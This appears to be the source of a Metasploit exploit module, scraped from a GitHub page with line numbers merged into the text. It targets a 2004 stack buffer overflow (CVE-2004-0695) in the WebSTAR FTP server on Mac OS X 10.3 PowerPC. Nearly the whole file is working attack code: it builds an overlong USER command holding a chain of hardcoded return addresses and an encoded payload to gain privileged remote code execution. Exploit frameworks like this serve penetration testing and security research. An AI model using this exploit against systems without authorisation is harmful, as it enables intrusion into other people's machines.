Path: blob/master/modules/exploits/osx/ftp/webstar_ftp_user.rb
32595 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'WebSTAR FTP Server USER Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the logging routine17of the WebSTAR FTP server. Reliable code execution is18obtained by a series of hops through the System library.19},20'Author' => [ 'ddz', 'hdm' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2004-0695'],24[ 'OSVDB', '7794'],25[ 'BID', '10720'],2627],28'Privileged' => true,29'Payload' => {30'Space' => 300,31'BadChars' => "\x00\x20\x0a\x0d",32'Compat' =>33{34'ConnectionType' => '+find'35}36},37'Targets' => [38[39'Mac OS X 10.3.4-10.3.6',40{41'Platform' => 'osx',42'Arch' => ARCH_PPC,43'Rets' => [ 0x9008dce0, 0x90034d60, 0x900ca6d8, 0x90023590 ]44},45],46],47'DisclosureDate' => '2004-07-13',48'DefaultTarget' => 0,49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)5657register_options(58[59OptString.new('MHOST', [ false, 'Our IP address or hostname as the target resolves it' ]),60], self61)62end6364# crazy dino 5-hop foo65# $ret = pack('N', 0x9008dce0); # call $r28, jump r1+12066# $r28 = pack('N', 0x90034d60); # getgid()67# $ptr = pack('N', 0x900ca6d8); # r3 = r1 + 64, call $r3068# $r30 = pack('N', 0x90023590); # call $r36970def exploit71connect7273# The offset to the return address is dependent on the length of our hostname74# as the target system resolves it ( IP or reverse DNS ).75mhost = datastore['MHOST'] || Rex::Socket.source_address(datastore['RHOST'])76basel = 285 - mhost.length7778print_status("Trying target #{target.name}...")7980# ret = 29681# r25 = 26082# r26 = 26483# r27 = 26884# r28 = 27285# r29 = 27686# r30 = 28087# r31 = 2848889# r1+120 = 4089091buf = rand_text_alphanumeric(basel + 136 + 56, payload_badchars)92buf[basel + 24, 4] = [ target['Rets'][0] ].pack('N') # call $r28, jump r1+12093buf[basel, 4] = [ target['Rets'][1] ].pack('N') # getgid()94buf[basel + 136, 4] = [ target['Rets'][2] ].pack('N') # (r1+120) => r3 = r1 + 64, call $r3095buf[basel + 120, 4] = [ target['Rets'][3] ].pack('N') # call $r396buf << payload.encoded9798send_cmd(['USER', buf], true)99send_cmd(['HELP'], true)100101handler102disconnect103end104end105106107